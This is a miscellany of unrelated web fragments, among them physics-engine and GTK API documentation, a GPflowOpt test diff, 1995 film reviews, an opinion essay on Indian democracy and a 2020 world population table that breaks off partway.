| const Vector3 & | scaling = Vector3(1, 1, 1) |
||
| ) |
Create and return a concave mesh shape.
| triangleMesh | A pointer to the triangle mesh to use to create the concave mesh shape |
| scaling | An optional scaling factor to scale the triangle mesh |
| ConvexMeshShape * PhysicsCommon::createConvexMeshShape | ( | PolyhedronMesh * | polyhedronMesh, |
| const Vector3 & | scaling = Vector3(1,1,1) |
||
| ) |
Create and return a convex mesh shape.
| polyhedronMesh | A pointer to the polyhedron mesh used to create the convex shape |
| scaling | Scaling factor to scale the polyhedron mesh if necessary |
| DefaultLogger * PhysicsCommon::createDefaultLogger | ( | ) |
Create and return a new default logger.
| HeightFieldShape * PhysicsCommon::createHeightFieldShape | ( | int | nbGridColumns, |
| int | nbGridRows, | ||
| decimal | minHeight, | ||
| decimal | maxHeight, | ||
| const void * | heightFieldData, | ||
| HeightFieldShape::HeightDataType | dataType, | ||
| int | upAxis = 1 , |
||
| decimal | integerHeightScale = 1.0f , |
||
| const Vector3 & | scaling = Vector3(1,1,1) |
||
| ) |
Create and return a height-field shape.
| nbGridColumns | Number of columns in the grid of the height field |
| nbGridRows | Number of rows in the grid of the height field |
| minHeight | Minimum height value of the height field |
| maxHeight | Maximum height value of the height field |
| heightFieldData | Pointer to the first height value data (note that values are shared and not copied) |
| dataType | Data type for the height values (int, float, double) |
| upAxis | Integer representing the up axis direction (0 for x, 1 for y and 2 for z) |
| integerHeightScale | Scaling factor used to scale the height values (only when height values type is integer) |
| PhysicsWorld * PhysicsCommon::createPhysicsWorld | ( | const PhysicsWorld::WorldSettings & | worldSettings = PhysicsWorld::WorldSettings() | ) |
Create and return an instance of PhysicsWorld.
| worldSettings | The settings of the physics world |
| PolyhedronMesh * PhysicsCommon::createPolyhedronMesh | ( | PolygonVertexArray * | polygonVertexArray | ) |
Create a polyhedron mesh.
| polygonVertexArray | A pointer to the polygon vertex array to use to create the polyhedron mesh |
| SphereShape * PhysicsCommon::createSphereShape | ( | const decimal | radius | ) |
Create and return a sphere collision shape.
| radius | The radius of the sphere collision shape |
| TriangleMesh * PhysicsCommon::createTriangleMesh | ( | ) |
Create a triangle mesh.
| void PhysicsCommon::destroyBoxShape | ( | BoxShape * | boxShape | ) |
Destroy a box collision shape.
| boxShape | A pointer to the box shape to destroy |
| void PhysicsCommon::destroyCapsuleShape | ( | CapsuleShape * | capsuleShape | ) |
Destroy a capsule collision shape.
| capsuleShape | A pointer to the capsule shape to destroy |
| void PhysicsCommon::destroyConcaveMeshShape | ( | ConcaveMeshShape * | concaveMeshShape | ) |
Destroy a concave mesh shape.
| concaveMeshShape | A pointer to the concave mesh shape to destroy |
| void PhysicsCommon::destroyConvexMeshShape | ( | ConvexMeshShape * | convexMeshShape | ) |
Destroy a convex mesh shape.
| convexMeshShape | A pointer to the convex mesh shape to destroy |
| void PhysicsCommon::destroyDefaultLogger | ( | DefaultLogger * | logger | ) |
Destroy a default logger.
| A | pointer to the default logger to destroy |
| void PhysicsCommon::destroyHeightFieldShape | ( | HeightFieldShape * | heightFieldShape | ) |
Destroy a height-field shape.
| heightFieldShape | A pointer to the height field shape to destroy |
| void PhysicsCommon::destroyPhysicsWorld | ( | PhysicsWorld * | world | ) |
Destroy an instance of PhysicsWorld.
| world | A pointer to the physics world to destroy |
| void PhysicsCommon::destroyPolyhedronMesh | ( | PolyhedronMesh * | polyhedronMesh | ) |
Destroy a polyhedron mesh.
| polyhedronMesh | A pointer to the polyhedron mesh to destroy |
| void PhysicsCommon::destroySphereShape | ( | SphereShape * | sphereShape | ) |
Destroy a sphere collision shape.
| sphereShape | A pointer to the sphere collision shape to destroy |
| void PhysicsCommon::destroyTriangleMesh | ( | TriangleMesh * | triangleMesh | ) |
Destroy a triangle mesh.
| A | pointer to the triangle mesh to destroy |
|
inlinestatic |
Return the current logger.
|
inlinestatic |
Set the logger.
| logger | A pointer to the logger to use |


Reference structure for a scrollbar in a slider group. More...
#include <wv_editors.h>
Data Fields | |
| GtkWidget * | widget |
| Scrollbar widget. | |
| unsigned | index |
| Index into the owning Slide_Data_Ptr_array. | |
| gdouble | base |
| Used to calculate the value being adjusted. | |
| gdouble | last_value |
| Previous scrollbar value. | |
| gboolean | fund_assoc |
| Is this associated with fund_editor? | |
| unsigned | parent_index |
| Index into wv_editors. |
Reference structure for a scrollbar in a slider group.
A pointer to this data structure is passed to the signal handlers that handle the GtkHScrollbar widgets.
| gdouble _Slide_Data::base |
Used to calculate the value being adjusted.
This is the formula used: base + last_value * scale
| unsigned _Slide_Data::parent_index |
Index into wv_editors.
If fund_assoc is TRUE, this is zero for freq_sliders and one for amp_sliders.


Data returned from the database below:
http://services.odata.org/V4/Northwind/Northwind.svc/Products


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Currently I'm studying graphic design at the Artevelde University College.
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Adress: Vital Keullerlaan 20
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E-mail<EMAIL_ADDRESS>2012-2015: SME Management
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Before Change
def setUp(self):
super(TestBayesianOptimizer, self).setUp()
design = GPflowOpt.design.LatinHyperCube(16, self.domain)
X, Y = design.generate(), parabola2d(design.generate())[0]
model = GPflow.gpr.GPR(X, Y, GPflow.kernels.RBF(2, ARD=True))
acquisition = GPflowOpt.acquisition.ExpectedImprovement(model)
self.optimizer = GPflowOpt.BayesianOptimizer(self.domain, acquisition)
def setup_multi_objective(self):
design = GPflowOpt.design.LatinHyperCube(16, self.domain)
After Change
class TestBayesianOptimizer(_TestOptimizer, unittest.TestCase):
def setUp(self):
super(TestBayesianOptimizer, self).setUp()
acquisition = GPflowOpt.acquisition.ExpectedImprovement(create_parabola_model(self.domain))
self.optimizer = GPflowOpt.BayesianOptimizer(self.domain, acquisition)
def test_default_initial(self):
self.assertTupleEqual(self.optimizer._initial.shape, (0, 2), msg="Invalid shape of initial points array")


| # | {{employee.id}} | Firstname |
{{employee.firstname}}
|
Lastname |
{{employee.lastname}}
|
Position |
{{employee.position.name}}
|
Date of birth |
{{employee.dateOfBirth | date:'d.M.yy' }}
|
Action |
|---|


ANGUS and Other Films Film reviews by Michael John Legeros Copyright 1995 Michael John Legeros
Contents ========
- ANGUS - HACKERS - SAFE - SEVEN - SHOWGIRLS - UNSTRUNG HEROES - Recent Ratings
ANGUS =====
The title character in this coming-of-age flick is a very large (and very smart) high schooler with two primary problems: a tremendous crush on a cheerleader and a lifelong feud with her boyfriend, the school's star quarterback. In a plot twist reminiscent of CARRIE, fat boy and blondie are unexpectedly named King and Queen of the prom and you can guess what's planned to happen next.
Though as lumpy as its hero, ANGUS has a soft heart and an even sweeter message. Newcomer Charlie Talbert, who plays the lad, is an affable presence, even if he lisps a bit much. Also on hand is Kathy Bates, as Mom, and George C. Scott as the narcoleptic grandfather whose sole advice to his `son is "screw `em." Great soundtrack, too.
Grade: B-
HACKERS =======
"Hack the world!" That's the credo of a gang of young cyberpunks who find themselves doing damage control after one of them steals-for-fun a sensitive corporate file with potentially ecologically disastrous results. As one character in the movie notes, "there is no right and wrong, only fun and boring." [The pocket-protected audience nods in silent approval.]
Director Ian Sofely (BACKBEAT) gives the film a grungy, lived-in look that's very inviting. As are the fresh faces in the cast, including Jonny Lee Miller and Angelina Jolie. (Look closely and you can see the resemblance between Jolie and her father, Jon Voight. What a find! And, yes, that's Alberta Watson of SPANKING THE MONKEY fame playing the mother!)
The "hacking" sequences are unusual. Sofely opts for imagery instead of explanation; dazzling VR instead of a line-by-line (or window-by- window) demonstration of the craft. Sure, there's not a byte of believable technology here--the story is set some not-too-far-future where laptops can do *anything*--but the characters are strong. What a concept, a character-driven "computer movie."
Grade: B-
SAFE ====
Writer/director Todd Haynes' intriguing drama about a woman suffering from "environmental illness" is maddening for two reasons. First is the pace, which is s-l-o-w. SAFE moves at about half-speed. More time to reflect? Perhaps. More chances to become restless? Yes. The second method for my madness is Hayne's relentless ambiguity towards his subject. We're given the facts of the case--a housewife (Julianne Moore) becomes increasingly "allergic" to her surroundings--and nothing more. Haynes invites us to draw our own conclusion, but just a *little* bit of opposing viewpoint would be nice. At least *one* character who could stand up and say "what a bunch of New Age bunk!"
Grade: C+
SEVEN =====
Three years after his underrated directorial debut on ALIEN 3, music-video whiz David Fincher is back with an equally engaging thriller about an ingenious serial killer stalking a nameless American city. The detectives on the case are played by Morgan Freeman (the veteran) and Brad Pitt (the rookie). Their quarry is a sermonizing killer who's preaching through imaginative variations on the seven deadly sins.
Atmosphere is everything in Fincher's house of horrors. Constant rain, dismal lighting, and amplified sound effects all work to weary effect. As does the queasy subject matter. (Though the gore is kept to a minimum, you'll know very early if you have the stomach for this.) The methodical pace may also be off-putting to some. SEVEN requires patience. Anxious viewers may find themselves straining their chains much in the same manner that Pitt's gung-ho character does.
Grade: A
SHOWGIRLS =========
Though it certainly doesn't aspire to any lofty ambitions, SHOWGIRLS is still a failure. The problems start in the opening scene, where the liabilities of actress Elizabeth Berkley are exposed even before her breasts are. She has spunk and little else. (Though some might argue that she *needs* little else in a movie that wants to give new meaning the term "titillate." Forget the rating--the worst you'll see here are a few female frontal shots.)
Drawing from the Bad Actors Guild is only part of the problem. The director, Paul Verhoeven (BASIC INSTINCT, ROBOCOP), can't decide if he's presenting a strip show or a morality play. So he tries for both. What he ends up with is $40M of Vegas glitz that's neither erotic nor dramatic enough to be interesting. A long sit.
COMPARATIVE WORTH: Screenwriter/MPAA taunter Joe Eszterhas was paid over $3 mil. for his supposedly "tell all" story. How much does that translate to, on a per-boob basis? Grade: D+
UNSTRUNG HEROES ===============
Los Angeles, circa 1960. A young boy (Nathan Watt) is struggling to cope with his dying mother (a graceful Andie MacDowell), his distant inventor father (John Turturro), and two mentally ill uncles (Maury Chaykin and Michael "Cosmo Kramer" Richards). The first dramatic feature directed by actress Diane Keaton didn't move me in the least, so I can't advise on the story's emotional core. *I* didn't find it. Still, this is an admirably well-restrained weeper, with a polished period look that's easy on the teary eye. From the memoirs by Franz Lidz.
Grade: C
Recent Ratings ==============
ANGUS : B- CLOCKERS : B- HACKERS : B- SAFE : C+ SEVEN : A SHOWGIRLS : D+ THE TIE THAT BINDS : F TO WONG FOO... : C- UNSTRUNG HEROES : C THE USUAL SUSPECTS : A-
-- Michael J. Legeros - Raleigh, NC<EMAIL_ADDRESS>(h) -<EMAIL_ADDRESS>(w)
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


\begin{quote} text \end{quote}
The margins of the quote environment are indented on the left and the right. The text is justified at both margins. For longer quotations (more than one paragraph) use the quotation environment.
See also Quotation Environment
Return to the LaTeX Table of Contents


Provides the standard JXTA Peer Group implementations as well as legacy peer group configuration functionality. The legacy peer configuration classes are all deprecated. @see
JXTA Protocols Specification


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We shout over rooftops that we are the world’s largest democracy and assume that it is also the best. Well, look again. Is the system truly representative? At the time of voting, people make choices based on their belief and understanding of the leader they choose and that leader, post being elected, represents the people, as their voice. That’s idealistic but is that true? Does the elected leader reflect what the people want or is it mostly about what that leader wants, often for his own reasons?
Look at the fact on the ground. The majority of the Indian people still live in rural India, in poverty and poor living conditions, and with little education or awareness of matters outside their areas of residence. Yet, 98% of the people who would fall in this category are responsible for choosing a government that will legislate over the future of the country.
The ignorance of one voter in a democracy impairs the security of all.
-John F. Kennedy
It is one man – one vote and that is all that matters. Well is it? Is the vast majority really capable of understanding and judging the leaders they choose? The lack of education and awareness, coupled with abject poverty, often forces the voters to elect leaders who seem to offer them solutions for a better life but instead end up buying or coercing them to vote. So do they really represent the people?
Isn’t it common to see votes being bought and sold in its crudest form? Don’t we see vote bank politics being practiced in its worst form, or votes being garnered based on caste or religion? What about votes garnered through threat or at gunpoint? It all happens and is part of Indian politics.
A great democracy must be progressive or it will soon cease to be a great democracy.
-Theodore Roosevelt
So can anyone stand up and claim the virtues of Indian democracy as being truly fair and truly representative? Should we really beat our chests with pride while proudly claiming to be the world’s oldest democracy?
Bihar has always been at the forefront of entertaining politics. But when the Chief Minister gets convicted of serious crime and he appoints his wife as his proxy with nonchalance, it is time to sit up and question the ‘quality’ of politics that we practice. It may be ‘Indian’ politics but it is wrong, very wrong.
The list of misuse in politics is endless and the ‘quality’ of politics practiced, questionable. The intelligentsia and civil society are aware of the failings, as you and I are too, but the big question before us is – what are we doing about it?
So can one really say that Indian politics, at all levels, is truly free and fair? The voting process may be free and fair, at least in most cases, but the process of politics that goes into the run-up to elections, and thereafter, is what is questionable. And that’s what is wrong with Indian politics.
 The ‘quality’ of democracy and politics is judged by the level of debate and dissent allowed, within the party and outside of it.
A democracy is two wolves and a lamb voting on what to have for lunch.
-Benjamin Franklin
India is witnessing increasing levels of intolerance to the above and that is very visible in state and national politics. Older parties like the Congress and BJP have shown signs of intolerance, as have new age parties like AAP. All parties are guilty of quashing dissent in any form. What is a worrying trend is that several parties are resorting to violent means whenever questioned by the people or members of their parties. Even the media, which serves as a watchdog for the people, has not been spared.
Another problem with Indian politics is increasing rowdyism in parliament and state assemblies. On paper, it’s a forum for free and fair debate but in practice, only those with high decibel shouting and aggressive behavior get heard. What chance does a Manmohan Singh have against a loud and aggressive politician from another party? Yet, daily we have incessant shouting that passes off as debate. So is this fair on those who do not possess the requisite shouting ability? Is that supposed to be a pre-qualification? The voice of each representative in Parliament must have equal and fair weight and must be given equal opportunity to express his or her viewpoint. That’s easier said, as in practice, it is almost always to the contrary.
And now for the biggest problem of them all, influence and impact of money on Indian politics. Politics has degenerated into a business that has a lot of money, some legal but mostly unaccounted, being plowed into it by vested interests. It’s a global phenomenon but a big problem nevertheless. As long as unaccounted money makes its way into politics, it will never be free or fair. And we, as a nation, have to come together to try and figure out how to address this, if Indian democracy has to prosper on the bed of fair politics
May we think of freedom, not as the right to do as we please, but as the opportunity to do what is right.
It is time for the people to raise their voice and question their leaders and political parties, and force them to change for the better. For we have one non-negotiable weapon, our vote. Isn’t that what democracy is all about?


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| Country (or dependency) |
Population 2020 |
Yearly Change |
Net Change |
Density (P/Km²) |
Land Area (Km²) |
Migrants (net) |
Fert. Rate |
Med. Age |
Urban Pop % |
World Share |
| China |
1,439,323,776 |
0.39% |
5,540,090 |
153 |
9,388,211 |
-348,399 |
1.7 |
38 |
61% |
18.47% |
| India |
1,380,004,385 |
0.99% |
13,586,631 |
464 |
2,973,190 |
-532,687 |
2.2 |
28 |
35% |
17.70% |
| United States |
331,002,651 |
0.59% |
1,937,734 |
36 |
9,147,420 |
954,806 |
1.8 |
38 |
83% |
4.25% |
| Indonesia |
273,523,615 |
1.07% |
2,898,047 |
151 |
1,811,570 |
-98,955 |
2.3 |
30 |
56% |
3.51% |
| Pakistan |
220,892,340 |
2.00% |
4,327,022 |
287 |
770,880 |
-233,379 |
3.6 |
23 |
35% |
2.83% |
| Brazil |
212,559,417 |
0.72% |
1,509,890 |
25 |
8,358,140 |
21,200 |
1.7 |
33 |
88% |
2.73% |
| Nigeria |
206,139,589 |
2.58% |
5,175,990 |
226 |
910,770 |
-60,000 |
5.4 |
18 |
52% |
2.64% |
| Bangladesh |
164,689,383 |
1.01% |
1,643,222 |
1,265 |
130,170 |
-369,501 |
2.1 |
28 |
39% |
2.11% |
| Russia |
145,934,462 |
0.04% |
62,206 |
9 |
16,376,870 |
182,456 |
1.8 |
40 |
74% |
1.87% |
| Mexico |
128,932,753 |
1.06% |
1,357,224 |
66 |
1,943,950 |
-60,000 |
2.1 |
29 |
84% |
1.65% |
| Japan |
126,476,461 |
-0.30% |
-383,840 |
347 |
364,555 |
71,560 |
1.4 |
48 |
92% |
1.62% |
| Ethiopia |
114,963,588 |
2.57% |
2,884,858 |
115 |
1,000,000 |
30,000 |
4.3 |
19 |
21% |
1.47% |
| Philippines |
109,581,078 |
1.35% |
1,464,463 |
368 |
298,170 |
-67,152 |
2.6 |
26 |
47% |
1.41% |
| Egypt |
102,334,404 |
1.94% |
1,946,331 |
103 |
995,450 |
-38,033 |
3.3 |
25 |
43% |
1.31% |
| Vietnam |
97,338,579 |
0.91% |
876,473 |
314 |
310,070 |
-80,000 |
2.1 |
32 |
38% |
1.25% |
| DR Congo |
89,561,403 |
3.19% |
2,770,836 |
40 |
2,267,050 |
23,861 |
6 |
17 |
46% |
1.15% |
| Turkey |
84,339,067 |
1.09% |
909,452 |
110 |
769,630 |
283,922 |
2.1 |
32 |
76% |
1.08% |
| Iran |
83,992,949 |
1.30% |
1,079,043 |
52 |
1,628,550 |
-55,000 |
2.2 |
32 |
76% |
1.08% |
| Germany |
83,783,942 |
0.32% |
266,897 |
240 |
348,560 |
543,822 |
1.6 |
46 |
76% |
1.07% |
| Thailand |
69,799,978 |
0.25% |
174,396 |
137 |
510,890 |
19,444 |
1.5 |
40 |
51% |
0.90% |
| United Kingdom |
67,886,011 |
0.53% |
355,839 |
281 |
241,930 |
260,650 |
1.8 |
40 |
83% |
0.87% |
| France |
65,273,511 |
0.22% |
143,783 |
119 |
547,557 |
36,527 |
1.9 |
42 |
82% |
0.84% |
| Italy |
60,461,826 |
-0.15% |
-88,249 |
206 |
294,140 |
148,943 |
1.3 |
47 |
69% |
0.78% |
| Tanzania |
59,734,218 |
2.98% |
1,728,755 |
67 |
885,800 |
-40,076 |
4.9 |
18 |
37% |
0.77% |
| South Africa |
59,308,690 |
1.28% |
750,420 |
49 |
1,213,090 |
145,405 |
2.4 |
28 |
67% |
0.76% |
| Myanmar |
54,409,800 |
0.67% |
364,380 |
83 |
653,290 |
-163,313 |
2.2 |
29 |
31% |
0.70% |
| Kenya |
53,771,296 |
2.28% |
1,197,323 |
94 |
569,140 |
-10,000 |
3.5 |
20 |
28% |
0.69% |
| South Korea |
51,269,185 |
0.09% |
43,877 |
527 |
97,230 |
11,731 |
1.1 |
44 |
82% |
0.66% |
| Colombia |
50,882,891 |
1.08% |
543,448 |
46 |
1,109,500 |
204,796 |
1.8 |
31 |
80% |
0.65% |
| Spain |
46,754,778 |
0.04% |
18,002 |
94 |
498,800 |
40,000 |
1.3 |
45 |
80% |
0.60% |
| Uganda |
45,741,007 |
3.32% |
1,471,413 |
229 |
199,810 |
168,694 |
5 |
17 |
26% |
0.59% |
| Argentina |
45,195,774 |
0.93% |
415,097 |
17 |
2,736,690 |
4,800 |
2.3 |
32 |
93% |
0.58% |
| Algeria |
43,851,044 |
1.85% |
797,990 |
18 |
2,381,740 |
-10,000 |
3.1 |
29 |
73% |
0.56% |
| Sudan |
43,849,260 |
2.42% |
1,036,022 |
25 |
1,765,048 |
-50,000 |
4.4 |
20 |
35% |
0.56% |
| Ukraine |
43,733,762 |
-0.59% |
-259,876 |
75 |
579,320 |
10,000 |
1.4 |
41 |
69% |
0.56% |
| Iraq |
40,222,493 |
2.32% |
912,710 |
93 |
434,320 |
7,834 |
3.7 |
21 |
73% |
0.52% |
| Afghanistan |
38,928,346 |
2.33% |
886,592 |
60 |
652,860 |
-62,920 |
4.6 |
18 |
25% |
0.50% |
| Poland |
37,846,611 |
-0.11% |
-41,157 |
124 |
306,230 |
-29,395 |
1.4 |
42 |
60% |
0.49% |
| Canada |
37,742,154 |
0.89% |
331,107 |
4 |
9,093,510 |
242,032 |
1.5 |
41 |
81% |
0.48% |
| Morocco |
36,910,560 |
1.20% |
438,791 |
83 |
446,300 |
-51,419 |
2.4 |
30 |
64% |
0.47% |
| Saudi Arabia |
34,813,871 |
1.59% |
545,343 |
16 |
2,149,690 |
134,979 |
2.3 |
32 |
84% |
0.45% |
| Uzbekistan |
33,469,203 |
1.48% |
487,487 |
79 |
425,400 |
-8,863 |
2.4 |
28 |
50% |
0.43% |
| Peru |
32,971,854 |
1.42% |
461,401 |
26 |
1,280,000 |
99,069 |
2.3 |
31 |
79% |
0.42% |
| Angola |
32,866,272 |
3.27% |
1,040,977 |
26 |
1,246,700 |
6,413 |
5.6 |
17 |
67% |
0.42% |
| Malaysia |
32,365,999 |
1.30% |
416,222 |
99 |
328,550 |
50,000 |
2 |
30 |
78% |
0.42% |
| Mozambique |
31,255,435 |
2.93% |
889,399 |
40 |
786,380 |
-5,000 |
4.9 |
18 |
38% |
0.40% |
| Ghana |
31,072,940 |
2.15% |
655,084 |
137 |
227,540 |
-10,000 |
3.9 |
22 |
57% |
0.40% |
| Yemen |
29,825,964 |
2.28% |
664,042 |
56 |
527,970 |
-30,000 |
3.8 |
20 |
38% |
0.38% |
| Nepal |
29,136,808 |
1.85% |
528,098 |
203 |
143,350 |
41,710 |
1.9 |
25 |
21% |
0.37% |
| Venezuela |
28,435,940 |
-0.28% |
-79,889 |
32 |
882,050 |
-653,249 |
2.3 |
30 |
N.A. |
0.36% |
| Madagascar |
27,691,018 |
2.68% |
721,711 |
48 |
581,795 |
-1,500 |
4.1 |
20 |
39% |
0.36% |
| Cameroon |
26,545,863 |
2.59% |
669,483 |
56 |
472,710 |
-4,800 |
4.6 |
19 |
56% |
0.34% |
| Côte d'Ivoire |
26,378,274 |
2.57% |
661,730 |
83 |
318,000 |
-8,000 |
4.7 |
19 |
51% |
0.34% |
| North Korea |
25,778,816 |
0.44% |
112,655 |
214 |
120,410 |
-5,403 |
1.9 |
35 |
63% |
0.33% |
| Australia |
25,499,884 |
1.18% |
296,686 |
3 |
7,682,300 |
158,246 |
1.8 |
38 |
86% |
0.33% |
| Niger |
24,206,644 |
3.84% |
895,929 |
19 |
1,266,700 |
4,000 |
7 |
15 |
17% |
0.31% |
| Taiwan |
23,816,775 |
0.18% |
42,899 |
673 |
35,410 |
30,001 |
1.2 |
42 |
79% |
0.31% |
| Sri Lanka |
21,413,249 |
0.42% |
89,516 |
341 |
62,710 |
-97,986 |
2.2 |
34 |
18% |
0.27% |
| Burkina Faso |
20,903,273 |
2.86% |
581,895 |
76 |
273,600 |
-25,000 |
5.2 |
18 |
31% |
0.27% |
| Mali |
20,250,833 |
3.02% |
592,802 |
17 |
1,220,190 |
-40,000 |
5.9 |
16 |
44% |
0.26% |
| Romania |
19,237,691 |
-0.66% |
-126,866 |
84 |
230,170 |
-73,999 |
1.6 |
43 |
55% |
0.25% |
| Malawi |
19,129,952 |
2.69% |
501,205 |
203 |
94,280 |
-16,053 |
4.3 |
18 |
18% |
0.25% |
| Chile |
19,116,201 |
0.87% |
164,163 |
26 |
743,532 |
111,708 |
1.7 |
35 |
85% |
0.25% |
| Kazakhstan |
18,776,707 |
1.21% |
225,280 |
7 |
2,699,700 |
-18,000 |
2.8 |
31 |
58% |
0.24% |
| Zambia |
18,383,955 |
2.93% |
522,925 |
25 |
743,390 |
-8,000 |
4.7 |
18 |
45% |
0.24% |
| Guatemala |
17,915,568 |
1.90% |
334,096 |
167 |
107,160 |
-9,215 |
2.9 |
23 |
52% |
0.23% |
| Ecuador |
17,643,054 |
1.55% |
269,392 |
71 |
248,360 |
36,400 |
2.4 |
28 |
63% |
0.23% |
| Syria |
17,500,658 |
2.52% |
430,523 |
95 |
183,630 |
-427,391 |
2.8 |
26 |
60% |
0.22% |
| Netherlands |
17,134,872 |
0.22% |
37,742 |
508 |
33,720 |
16,000 |
1.7 |
43 |
92% |
0.22% |
| Senegal |
16,743,927 |
2.75% |
447,563 |
87 |
192,530 |
-20,000 |
4.7 |
19 |
49% |
0.21% |
| Cambodia |
16,718,965 |
1.41% |
232,423 |
95 |
176,520 |
-30,000 |
2.5 |
26 |
24% |
0.21% |
| Chad |
16,425,864 |
3.00% |
478,988 |
13 |
1,259,200 |
2,000 |
5.8 |
17 |
23% |
0.21% |
| Somalia |
15,893,222 |
2.92% |
450,317 |
25 |
627,340 |
-40,000 |
6.1 |
17 |
47% |
0.20% |
| Zimbabwe |
14,862,924 |
1.48% |
217,456 |
38 |
386,850 |
-116,858 |
3.6 |
19 |
38% |
0.19% |
| Guinea |
13,132,795 |
2.83% |
361,549 |
53 |
245,720 |
-4,000 |
4.7 |
18 |
39% |
0.17% |
| Rwanda |
12,952,218 |
2.58% |
325,268 |
525 |
24,670 |
-9,000 |
4.1 |
20 |
18% |
0.17% |
| Benin |
12,123,200 |
2.73% |
322,049 |
108 |
112,760 |
-2,000 |
4.9 |
19 |
48% |
0.16% |
| Burundi |
11,890,784 |
3.12% |
360,204 |
463 |
25,680 |
2,001 |
5.5 |
17 |
14% |
0.15% |
| Tunisia |
11,818,619 |
1.06% |
123,900 |
76 |
155,360 |
-4,000 |
2.2 |
33 |
70% |
0.15% |
| Bolivia |
11,673,021 |
1.39% |
159,921 |
11 |
1,083,300 |
-9,504 |
2.8 |
26 |
69% |
0.15% |
| Belgium |
11,589,623 |
0.44% |
50,295 |
383 |
30,280 |
48,000 |
1.7 |
42 |
98% |
0.15% |
| Haiti |
11,402,528 |
1.24% |
139,451 |
414 |
27,560 |
-35,000 |
3 |
24 |
57% |
0.15% |
| Cuba |
11,326,616 |
-0.06% |
-6,867 |
106 |
106,440 |
-14,400 |
1.6 |
42 |
78% |
0.15% |
| South Sudan |
11,193,725 |
1.19% |
131,612 |
18 |
610,952 |
-174,200 |
4.7 |
19 |
25% |
0.14% |
| Dominican Republic |
10,847,910 |
1.01% |
108,952 |
225 |
48,320 |
-30,000 |
2.4 |
28 |
85% |
0.14% |
| Czech Republic (Czechia) |
10,708,981 |
0.18% |
19,772 |
139 |
77,240 |
22,011 |
1.6 |
43 |
74% |
0.14% |
| Greece |
10,423,054 |
-0.48% |
-50,401 |
81 |
128,900 |
-16,000 |
1.3 |
46 |
85% |
0.13% |
| Jordan |
10,203,134 |
1.00% |
101,440 |
115 |
88,780 |
10,220 |
2.8 |
24 |
91% |
0.13% |
| Portugal |
10,196,709 |
-0.29% |
-29,478 |
111 |
91,590 |
-6,000 |
1.3 |
46 |
66% |
0.13% |
| Azerbaijan |
10,139,177 |
0.91% |
91,459 |
123 |
82,658 |
1,200 |
2.1 |
32 |
56% |
0.13% |
| Sweden |
10,099,265 |
0.63% |
62,886 |
25 |
410,340 |
40,000 |
1.9 |
41 |
88% |
0.13% |
| Honduras |
9,904,607 |
1.63% |
158,490 |
89 |
111,890 |
-6,800 |
2.5 |
24 |
57% |
0.13% |
| United Arab Emirates |
9,890,402 |
1.23% |
119,873 |
118 |
83,600 |
40,000 |
1.4 |
33 |
86% |
0.13% |
| Hungary |
9,660,351 |
-0.25% |
-24,328 |
107 |
90,530 |
6,000 |
1.5 |
43 |
72% |
0.12% |
| Tajikistan |
9,537,645 |
2.32% |
216,627 |
68 |
139,960 |
-20,000 |
3.6 |
22 |
27% |
0.12% |
| Belarus |
9,449,323 |
-0.03% |
-3,088 |
47 |
202,910 |
8,730 |
1.7 |
40 |
79% |
0.12% |
| Austria |
9,006,398 |
0.57% |
51,296 |
109 |
82,409 |
65,000 |
1.5 |
43 |
57% |
0.12% |
| Papua New Guinea |
8,947,024 |
1.95% |
170,915 |
20 |
452,860 |
-800 |
3.6 |
22 |
13% |
0.11% |
| Serbia |
8,737,371 |
-0.40% |
-34,864 |
100 |
87,460 |
4,000 |
1.5 |
42 |
56% |
0.11% |
| Israel |
8,655,535 |
1.60% |
136,158 |
400 |
21,640 |
10,000 |
3 |
30 |
93% |
0.11% |
| Switzerland |
8,654,622 |
0.74% |
63,257 |
219 |
39,516 |
52,000 |
1.5 |
43 |
74% |
0.11% |
| Togo |
8,278,724 |
2.43% |
196,358 |
152 |
54,390 |
-2,000 |
4.4 |
19 |
43% |
0.11% |
| Sierra Leone |
7,976,983 |
2.10% |
163,768 |
111 |
72,180 |
-4,200 |
4.3 |
19 |
43% |
0.10% |
| Hong Kong |
7,496,981 |
0.82% |
60,827 |
7,140 |
1,050 |
29,308 |
1.3 |
45 |
N.A. |
0.10% |
| Laos |
7,275,560 |
1.48% |
106,105 |
32 |
230,800 |
-14,704 |
2.7 |
24 |
36% |
0.09% |
| Paraguay |
7,132,538 |
1.25% |
87,902 |
18 |
397,300 |
-16,556 |
2.4 |
26 |
62% |
0.09% |
| Bulgaria |
6,948,445 |
-0.74% |
-51,674 |
64 |
108,560 |
-4,800 |
1.6 |
45 |
76% |
0.09% |
| Libya |
6,871,292 |
1.38% |
93,840 |
4 |
1,759,540 |
-1,999 |
2.3 |
29 |
78% |
0.09% |
| Lebanon |
6,825,445 |
-0.44% |
-30,268 |
667 |
10,230 |
-30,012 |
2.1 |
30 |
78% |
0.09% |
| Nicaragua |
6,624,554 |
1.21% |
79,052 |
55 |
120,340 |
-21,272 |
2.4 |
26 |
57% |
0.08% |
| Kyrgyzstan |
6,524,195 |
1.69% |
108,345 |
34 |
191,800 |
-4,000 |
3 |
26 |
36% |
0.08% |
| El Salvador |
6,486,205 |
0.51% |
32,652 |
313 |
20,720 |
-40,539 |
2.1 |
28 |
73% |
0.08% |
| Turkmenistan |
6,031,200 |
1.50% |
89,111 |
13 |
469,930 |
-5,000 |
2.8 |
27 |
53% |
0.08% |
| Singapore |
5,850,342 |
0.79% |
46,005 |
8,358 |
700 |
27,028 |
1.2 |
42 |
N.A. |
0.08% |
| Denmark |
5,792,202 |
0.35% |
20,326 |
137 |
42,430 |
15,200 |
1.8 |
42 |
88% |
0.07% |
| Finland |
5,540,720 |
0.15% |
8,564 |
18 |
303,890 |
14,000 |
1.5 |
43 |
86% |
0.07% |
| Congo |
5,518,087 |
2.56% |
137,579 |
16 |
341,500 |
-4,000 |
4.5 |
19 |
70% |
0.07% |
| Slovakia |
5,459,642 |
0.05% |
2,629 |
114 |
48,088 |
1,485 |
1.5 |
41 |
54% |
0.07% |
| Norway |
5,421,241 |
0.79% |
42,384 |
15 |
365,268 |
28,000 |
1.7 |
40 |
83% |
0.07% |
| Oman |
5,106,626 |
2.65% |
131,640 |
16 |
309,500 |
87,400 |
2.9 |
31 |
87% |
0.07% |
| State of Palestine |
5,101,414 |
2.41% |
119,994 |
